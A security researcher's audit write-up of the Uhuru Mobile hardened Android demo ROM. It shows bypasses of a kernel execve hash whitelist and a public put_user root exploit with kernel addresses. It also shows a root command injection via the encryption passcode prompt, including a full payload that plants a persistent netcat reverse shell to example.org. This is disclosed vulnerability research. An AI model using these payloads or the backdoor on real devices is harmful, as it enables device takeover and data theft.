From February 23 to February 28, we had the opportunity to look at the demo ROM of Uhuru Mobile. Uhuru Mobile is supposed to be a secure Mobile Devices Management solution, including its own store, an application validation process all that on top of a hardened Android with protection against unknown code, system integrity checks, etc.
Uhuru is the commercial spin-off of Davfi for Android, a publicly funded effort to make an antivirus, and a secure mobile platform based on Android.
In early February, Nov'IT released a demo ROM for the Nexus 4 of the hardened Android part of their secure mobile solution. That is the part that we are going to look at in this article.
According to information given to the media by people working on the project, Uhuru is based on Cyanogen Mod. As I am not very familiar with all the parts of Android, this is by no mean an exhaustive audit of the platform, we surely have missed positive and/or negative aspects.
The Uhuru image we looked at has the following sha256sum:
Getting a shell
We had a spare Nexus 4 which we were not using at this time, and I had a little research time ahead of me so I decided to take a look at this Android ROM which appeared to take security seriously.
After following the instructions to install all the image files, we are in possession of a Nexus 4 phone with Uhuru Mobile. We then try to obtain a shell on the device using adb. We can not find any developer menu to authorize my computer and no pop up to prompt me to accept the certificate.
We modify boot.img with
ro.adb.secure = 0 and
ro.secure = 0.
Furthermore, even though adb is started thanks to
persist.sys.usb.config = mtp,adb in
default.prop, a process later during the boot sets
persist.sys.usb.config = mtp, effectivly stopping adb:
root@android:/ # dmesg | grep mtp
<3>[ 2.430001] init: setprop persist.sys.usb.config : mtp,adb
<3>[ 63.327056] init: setprop persist.sys.usb.config : mtp
<3>[ 63.364535] init: setprop sys.usb.config : mtp
So modifying on
do the trick. Once this is done, we now have a shell on the device. They
say on the website that the system is protected against unknown code
execution, so let's try to push and execute a busybox.
root@android:/data/local/tmp # ./busybox-armv6.static
/system/bin/sh: ./busybox-armv6.static: Permission denied
Binary works on other phones, permissions are OK, we should be able to execute it. We assembled a Nexus 4 UART debug cable the day before and we have a console with it plugged in so we see the following messages (these could also have been found using dmesg):
[ 196.202655] [+] execve : ./busybox-armv6.static ./busybox-armv6.static
[ 196.254448] [+] execve : aucune correspondance, 1f23501339631b2738c878502de08e95bb1d18a362748bbdc15c02991fc1ba36
[ 196.254570] [+] execve : binaire ./busybox-armv6.static interdit
These debug messages in french seem to indicate they modified the kernel. We can guess they added some code to the kernel verifying some kind of hash when running an executable.
Once the image file retrieved, we fire up our disassembler and search for
xref on the string "+ execve". Following them we arrive in code apparently
doing some checks and launching an executable. Comparing with the kernel
sources, we can see we are in
do_execve (0xC01271E8). Comparing with the vanilla
Android kernel code, we can pinpoint what was added. The most interesting part:
file_content_size = read_file_content(file, 0x61A80, file->f_pos,
compute_sha256_hash(file_content_buf, file_content_size, hash);
if (strncmp(hash, "a7f7a05747de09f5ac89fa89a666c407b29c7beca5348bcdd472156c9dffdced", 0x40))
printk("[+] execve : binaire %s interdit\n", filename);
printk("[+] execve : binaire %s autorisé\n", filename);
What they do is the following:
- Retrieve the first 400KB of the executable passed to execve
- Perform a SHA256 calculation on these bytes
- Search for a match on a list hardcoded into the kernel
- If there is a match, continue, otherwise return failure
As you have noticed, this code only applies to execve, so here are a few bypasses (list not exhaustive) that work:
- Use a library defining for example __libc_init and LD_PRELOAD any authorized executable on the system
int __libc_init(void*, void*, void*)
shell@android:/ # LD_PRELOAD=/data/local/tmp/libhello-jni.so bash
- Find an executable larger than 400KB and put you code after the limit
- Use rild with a library that defines RIL_Init (it drops privileges though, see next part for an example)
You can find a copy of the hashes allowed by this kind of protection in
We could not see if they added more code to the kernel just by having a glance in IDA.
While we are at it, let's check if the kernel is vulnerable to public vulnerabilities. First we check the version:
root@android:/ # uname -a
Linux localhost 3.4.0-UHURU-g825e82a-dirty #4 SMP PREEMPT Thu Feb 6 15:47:18 CET 2014 armv7l GNU/Linux
We know Uhuru is based on CyanogenMod, so let's have a look at which version it is based on. After getting the CM images from their website we look at the different kernel versions. Using the CM 10.1.3 image we get the following result:
Linux localhost 3.4.0-perf-g825e82a #1 SMP PREEMPT Mon Sep 23 17:00:27 PDT 2013 armv7l GNU/Linux
It means Uhuru is based on CM 10.1.3, which is based on Android 4.2.2.
As the kernel seems to be a bit old, let's try public local roots. According to the kernel version, it should be vulnerable to at least put_user. To test this, we use the Android Rooting Tools. To make them work we modify a few lines of code to make it a library, then use their helper tools to get the required addresses:
RIL_Init(void*, int argc, char** argv)
prepare_kernel_cred = (void*) 0xc008a7a8;
commit_creds = (void*) 0xc008a2d0;
ptmx_fops = (void*) 0xc0efd570;
remap_pfn_range = (void*) 0xc01053ac;
We then push and run it on the device:
shell@android:/ $ id
shell@android:/ $ rild -l /data/local/tmp/librun_root_shell.so
Device detected: Nexus 4 (UHURU Mobile 4.2.2 JDQ39E eng.root.20140206.124113)
Attempt put_user exploit...
shell@android:/ # id
That is not good for a hardened Android. It basically means once you obtain user privileges, game is over, you may become root and you can fully compromise the system.
On a sidenote, we got several kernel NULL deref happening in the wifi driver
when performing seemingly unrelated tasks, such as grepping
/ or trying to
encrypt the smartphone. It is a bit annoying as you can not encrypt the
After a mail exchange with Nov'IT, they said they encountered this behaviour on
early shipped Nexus 4, which we happen to have. This problem seems to also
happen on Cyanogen Mod 10.1.3 so it is probably inherited from there. We did not
Back to Userland
Zip Master Key
Once again, checking public vulnerabilities that work on the CyanogenMod version Uhuru is based on gives results. Using information from Saurik's very detailed post on bug #9950697 we are able to modify an APK and install it to the system bypassing APK signature check.
/system Integrity Check
When poking around in the filesystems, we notice a few files that do not seem
to come either from Android or Cyanogen Mod. In /etc there is a file named
DavRes which is approximately 10MB. Searching for references in executables, we
stumble upon code with more french debug messages in
cryptfs, the subsystem in charge of the smartphone encryption.
Basically, they added a command,
checksys, which performs checks on some
DavRes is in fact a container that is probably encrypted, and
it contains two files.
checksys will decipher
and store the result. It will then perform some kind of hash on
/system/vendor using an
executable which seems custom:
/system/bin/getrephash. It then compares the
two hashs and checks if they match.
What may be of interest is to see how
DavRes is actually deciphered and mounted.
Passcode Escape Shell
Actually there are other references to
DavRes in the following shell scripts:
Their names are quite explicit, they are tasked with creating, opening and
changing the password of the DavRes container. To understand how and when they
are invoked, we must have a look at the
classes which are in charge of the UI and tasks launching encryption and
decryption of the phone. It is located in
com.android.Settings.CryptKeeperConfirm, which is used for the initial
ciphering of the phone, we can spot the following lines that were added:
Log.e("CryptKeeper", "Initialisation du conteneur chiffré de ressources");
dataoutputstream = new DataOutputStream(Runtime.getRuntime().exec("su").getOutputStream());
dataoutputstream.writeBytes((new StringBuilder()).append("initsafe ").append(bundle.getString("password")).append("\n").toString());
So when you cipher your phone, it invokes
initsafe with the passcode you
entered as an argument. In
echo $1 | cryptsetup -q luksAddKey /dev/loop0 /mnt/secure/DavRes/master.key
So we have an escape shell running as root here. But as you need to be logged in
and provide the initial password to change it, it is not very interesting. What
about when the phone boots and ask you the passcode? The code for this is
Log.e("CryptKeeper", "Ouverture du conteneur chiffré de ressources");
dataoutputstream = new DataOutputStream(Runtime.getRuntime().exec("su").getOutputStream());
dataoutputstream.writeBytes((new StringBuilder()).append("opensafe ").append(as).append("\n").toString());
echo $1 | cryptsetup -q luksOpen /dev/loop0 cr_DavRes
And here it is. As this code is located before the actual decryption, we also have an escape shell as root. What this means is once your phone is encrypted, anyone with physical access could reboot your phone to execute commands as root before the phone is decrypted and from there drop a rootkit. With a bit of work, the attacker could also use brute force, provided you have a weak passcode, and find a way to exfiltrate the information. The attacker may then reboot the phone and decrypt it in order to access your data.
What it also means is that the
/system integrity check is to our opinion quite useless since the
container is always opened and has the same password than the data partition.
Moreover, it only checks a few directories located in the system partition while
there are scripts executed as root in the data partition during the boot.
As was told in the Crash part, we were unable to encrypt our phone due to kernel panics happening during the procedure. However when looking at the original source, you can see there is a way to test this feature by launching it from the command line once the phone is up and running:
pm enable com.android.settings/.CryptKeeper
am start -e "com.android.settings.CryptKeeper.DEBUG_FORCE_VIEW" "password" -n com.android.settings/.CryptKeeper
It shows the following prompt:
We are able to successfully execute commands as root. As an example of what can be done using this vulnerability, here are the modifications we did to be able to remotely launch commands on the phone:
- First we need to remount
- Then create a
/system/etc. Its content could be:
while true; do
/system/xbin/busybox nc example.org 7777 | /system/xbin/bash | /system/xbin/busybox nc example.org 7778;
) >/dev/null </dev/null 2>&1 &
- Append a line in
/system/etc/kickstart_checker.sh(this script is executed at boot as an argument to
sh, so its content is not checked):
- Reboot and wait for the user to log in to obtain network.
The passcode to type to obtain this result is:
;mount -o remount,rw /system;echo -e '(\nwhile true; do /system/xbin/busybox nc example.org 7777 | /system/xbin/bash | /system/xbin/busybox nc example.org 7778; /system/xbin/sleep 5; done\n) >/dev/null </dev/null 2>&1 &\ndisown' > /etc/backdoor.sh;echo '/system/xbin/bash /etc/backdoor.sh' >> /etc/kickstart_checker.sh;
At one point we took a look at the recovery image. We just started it and poke
around with the options. Nothing very interesting there. So just in case we
tried to get a shell with adb and... got one. root. Having a look at
ro.secure=1 means adb drops privileges when starting, except when
ro.debuggable is set to 1 and service.adb.root is also set to one using the adb
In practice you could use this to dump userdata partition and bruteforce it if it is encrypted (a blog post by Cédric about that particular subject should be up soon), or drop a rootkit on the phone.
In a mail exchange with Uhuru developer Nov'IT, we were told it is due to the fact that it is a demo version, they were providing a way to help the audit, and that in any case, it did not impact Uhuru's security. For reasons exposed in the previous paragraph, we strongly disagree.
As Uhuru is based on CyanogenMod, it also includes a profusion of tools by default and which hashes are white-listed. A few examples:
- fully fledged busybox (with telnetd, tftpd, netcat, ...)
We are not sure they are quite essential to the system... But they certainly
make it easier to stay in the phone once code execution is achieved. For example
you could use these tools combined with the fact that the script
/data/local/userinit.sh is executed by root at each boot. The developers told us unneeded binaries would be removed in the final version.
As we have seen, one has to be extra careful when dealing with vendors advertising for hardened software. Some of the problems described above could be fixed by just upgrading the CyanogenMod which they are based on to the latest version (CM11, which is based on Android 4.4.x) while others where introduced with the code they added to harden the system.
As you have noticed, we did not really look into non native parts of Android,
as I was mostly reading code and experimenting with how everything fits
together but if we have the time, it could be interesting to have a look as well as
getrephash works, which we have not done yet.
Also for the kernel part, we could have pushed investigation further by using a binary diffing tool, but as they modified the kernel sources, they should release them in a near future to comply with the GPL. They confirmed in a mail exchange it was planned.
We have not seen much of the advertised features but that may be because we did not look hard enough or maybe because this is a demo version, not including everything.
We reported our findings to Nov'IT and we hope everything will be fixed in the commercial version. They were quite reactive to our mail inquiries and we thank them for this.
On a final note I would like to thank my coworkers for their expertise, ideas, and corrections during this week.